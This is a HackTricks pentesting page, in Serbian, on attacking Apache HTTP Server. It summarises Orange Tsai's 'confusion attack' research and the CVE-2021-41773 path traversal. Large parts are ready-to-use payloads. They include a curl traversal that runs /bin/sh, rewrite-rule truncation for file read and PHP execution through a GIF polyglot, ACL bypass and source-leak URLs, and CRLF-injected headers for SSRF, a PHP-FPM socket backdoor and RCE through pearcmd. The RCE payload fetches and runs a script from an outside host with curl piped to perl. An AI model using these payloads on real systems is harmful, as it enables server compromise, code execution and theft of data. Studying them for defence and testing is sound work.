Apache

Support HackTricks

Izvršne PHP ekstenzije

Proverite koje ekstenzije izvršava Apache server. Da biste ih pretražili, možete izvršiti:

grep -R -B1 "httpd-php" /etc/apache2

Takođe, neka mesta gde možete pronaći ovu konfiguraciju su:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

Confusion Attack

Ove vrste napada su predstavljene i dokumentovane od strane Orange u ovom blog postu i sledeći je sažetak. Napad "confusion" u suštini zloupotrebljava način na koji desetine modula koji rade zajedno na kreiranju Apache-a ne rade savršeno sinkronizovano, a modifikacija nekih od njih može izazvati ranjivost u kasnijem modulu.

Filename Confusion

Truncation

mod_rewrite će skratiti sadržaj r->filename nakon karaktera ? (modules/mappers/mod_rewrite.c#L4141). Ovo nije potpuno pogrešno jer će većina modula tretirati r->filename kao URL. Međutim, u drugim prilikama ovo će biti tretirano kao putanja do fajla, što bi moglo izazvati problem.

  • Path Truncation

Moguće je zloupotrebiti mod_rewrite kao u sledećem primeru pravila da bi se pristupilo drugim fajlovima unutar fajl sistema, uklanjajući poslednji deo očekivane putanje jednostavno dodajući ?:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • Zavaravajuća dodela RewriteFlag

U sledećem pravilu preusmeravanja, sve dok URL završava sa .php, biće tretiran i izvršen kao php. Stoga, moguće je poslati URL koji se završava sa .php nakon ? karaktera dok se u putanji učitava drugačija vrsta datoteke (poput slike) sa zloćudnim php kodom unutar nje:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

Moguće je pristupiti datotekama kojima korisnik ne bi trebao imati pristup, čak i ako bi pristup trebao biti odbijen sa konfiguracijama kao što su:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

Ovo je zato što će PHP-FPM po defaultu primati URL-ove koji se završavaju sa .php, kao što je http://server/admin.php%3Fooo.php, i zato što će PHP-FPM ukloniti sve nakon karaktera ?, prethodni URL će omogućiti učitavanje /admin.php čak i ako je prethodno pravilo to zabranilo.

DocumentRoot Confusion

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Zanimljiva činjenica o Apache-u je da prethodni prepravak pokušava da pristupi datoteci i iz documentRoot-a i iz root-a. Dakle, zahtev za https://server/abouth.html će proveriti datoteku u /var/www/html/about.html i /about.html u datotečnom sistemu. Što se u suštini može zloupotrebiti za pristup datotekama u datotečnom sistemu.

Otkrivanje Izvora Koda na Serveru

  • Otkrivanje CGI Izvora Koda

Samo dodavanje %3F na kraju je dovoljno da se otkrije izvorni kod cgi modula:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
  • Otkrivanje PHP Izvornog Koda

Ako server ima različite domene, pri čemu je jedna od njih statična domena, to se može iskoristiti za pretraživanje datotečnog sistema i otkrivanje php koda:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Manipulacija lokalnim uređajima

Glavni problem sa prethodnim napadom je to što će po defaultu većina pristupa preko datotečnog sistema biti odbijena kao u konfiguracionom šablonu Apache HTTP Server-a:

<Directory />
AllowOverride None
Require all denied
</Directory>

Međutim, Debian/Ubuntu operativni sistemi po defaultu dozvoljavaju /usr/share:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Zato, bilo bi moguće zloupotrebiti datoteke smeštene unutar /usr/share u ovim distribucijama.

Lokalni Gadget za Otkriće Informacija

  • Apache HTTP Server sa websocketd može izložiti dump-env.php skriptu na /usr/share/doc/websocketd/examples/php/, koja može otkriti osetljive promenljive okruženja.

  • Serveri sa Nginx ili Jetty mogu izložiti osetljive informacije o web aplikacijama (npr., web.xml) kroz svoje podrazumevane web korene smeštene pod /usr/share:

  • /usr/share/nginx/html/

  • /usr/share/jetty9/etc/

  • /usr/share/jetty9/webapps/

Lokalni Gadget za XSS

  • Na Ubuntu Desktop-u sa instaliranim LibreOffice, iskorišćavanje funkcije promene jezika u pomoćnim datotekama može dovesti do Cross-Site Scripting (XSS). Manipulacija URL-om na /usr/share/libreoffice/help/help.html može preusmeriti na zlonamerne stranice ili starije verzije putem unsafe RewriteRule.

Lokalni Gadget za LFI

  • Ako su instalirani PHP ili određeni front-end paketi poput JpGraph ili jQuery-jFeed, njihove datoteke mogu biti iskorišćene za čitanje osetljivih datoteka kao što je /etc/passwd:

  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php

  • /usr/share/javascript/jquery-jfeed/proxy.php

  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Lokalni Gadget za SSRF

  • Korišćenjem MagpieRSS's magpie_debug.php na /usr/share/php/magpierss/scripts/magpie_debug.php, može se lako stvoriti SSRF ranjivost, pružajući prolaz za dalja iskorišćavanja.

Lokalni Gadget za RCE

  • Mogućnosti za Remote Code Execution (RCE) su velike, sa ranjivim instalacijama poput zastare PHPUnit ili phpLiteAdmin. Ove se mogu iskoristiti za izvršavanje proizvoljnog koda, pokazujući opsežan potencijal manipulacije lokalnim gadgetima.

Jailbreak iz Lokalnih Gadgeta

Takođe je moguće jailbreak-ovati iz dozvoljenih foldera prateći symlinkove generisane instaliranim softverom u tim folderima, kao što su:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/

  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data

  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/

  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/

  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Pored toga, zloupotrebom symlinkova bilo je moguće dobiti RCE u Redmine-u.

Confuzija Handler-a

Ovaj napad koristi preklapanje funkcionalnosti između AddHandler i AddType direktiva, koje se obe mogu koristiti za omogućavanje PHP obrade. Prvobitno, ove direktive su uticale na različita polja (r->handler i r->content_type respektivno) u unutrašnjoj strukturi servera. Međutim, zbog nasleđenog koda, Apache obrađuje ove direktive naizmenično pod određenim uslovima, pretvarajući r->content_type u r->handler ako je prvi postavljen, a drugi nije.

Pored toga, u Apache HTTP Server-u (server/config.c#L420), ako je r->handler prazan pre izvršavanja ap_run_handler(), server koristi r->content_type kao handler, efektivno čineći AddType i AddHandler identičnim u efektu.

Prepisivanje Handler-a za Otkriće PHP Izvornog Koda

U ovoj prezentaciji, predstavljena je ranjivost gde netačan Content-Length poslat od strane klijenta može uzrokovati da Apache greškom vrati PHP izvorni kod. To je bilo zbog problema sa obradom grešaka sa ModSecurity i Apache Portable Runtime (APR), gde dvostruki odgovor dovodi do prepisivanja r->content_type na text/html. Zato što ModSecurity ne obrađuje pravilno povratne vrednosti, vraća PHP kod i ne interpretira ga.

Prepisivanje Handler-a za XXXX

TODO: Orange još nije otkrio ovu ranjivost

Pozivanje Proizvoljnih Handler-a

Ako napadač može da kontroliše Content-Type zaglavlje u odgovoru servera, moći će da pozove proizvoljne module handler-a. Međutim, do trenutka kada napadač kontroliše ovo, većina procesa zahteva će biti završena. Ipak, moguće je ponovo pokrenuti proces zahteva zloupotrebom Location zaglavlja jer ako je returned Status 200 i Location zaglavlje počinje sa /, odgovor se tretira kao Server-Side Redirection i treba ga obraditi.

Prema RFC 3875 (specifikacija o CGI) u Sekciji 6.2.2 definiše se ponašanje lokalnog preusmeravanja odgovora:

CGI skripta može vratiti URI putanju i upitni niz (‘local-pathquery’) za lokalni resurs u zaglavlju Location. Ovo ukazuje serveru da treba ponovo obraditi zahtev koristeći specificiranu putanju.

Zato, za izvođenje ovog napada potrebna je jedna od sledećih ranjivosti:

  • CRLF Injection u CGI odgovorima zaglavlja

  • SSRF sa potpunom kontrolom nad odgovorima zaglavlja

Proizvoljni Handler za Otkriće Informacija

Na primer, /server-status bi trebao biti dostupan samo lokalno:

<Location /server-status>
SetHandler server-status
Require local
</Location>

Moguće je pristupiti tome postavljanjem Content-Type na server-status i zaglavlja Location koje počinje sa /

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Arbitrarni Handler za Potpun SSRF

Preusmeravanje na mod_proxy za pristup bilo kojem protokolu na bilo kojoj URL adresi:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

Međutim, X-Forwarded-For zaglavlje je dodato kako bi se sprečio pristup krajnjim tačkama metapodataka u oblaku.

Arbitrarni Handler za Pristup Lokalnom Unix Domen Socketu

Pristupite lokalnom Unix Domen Socketu PHP-FPM-a da biste izvršili PHP backdoor smešten u /tmp/:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitrarni Handler za RCE

Službeni PHP Docker imidž uključuje PEAR (Pearcmd.php), alat za upravljanje PHP paketima putem komandne linije, koji se može zloupotrebiti za dobijanje RCE:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Check Docker PHP LFI Summary, written by Phith0n for the details of this technique.

References

Support HackTricks

Last updated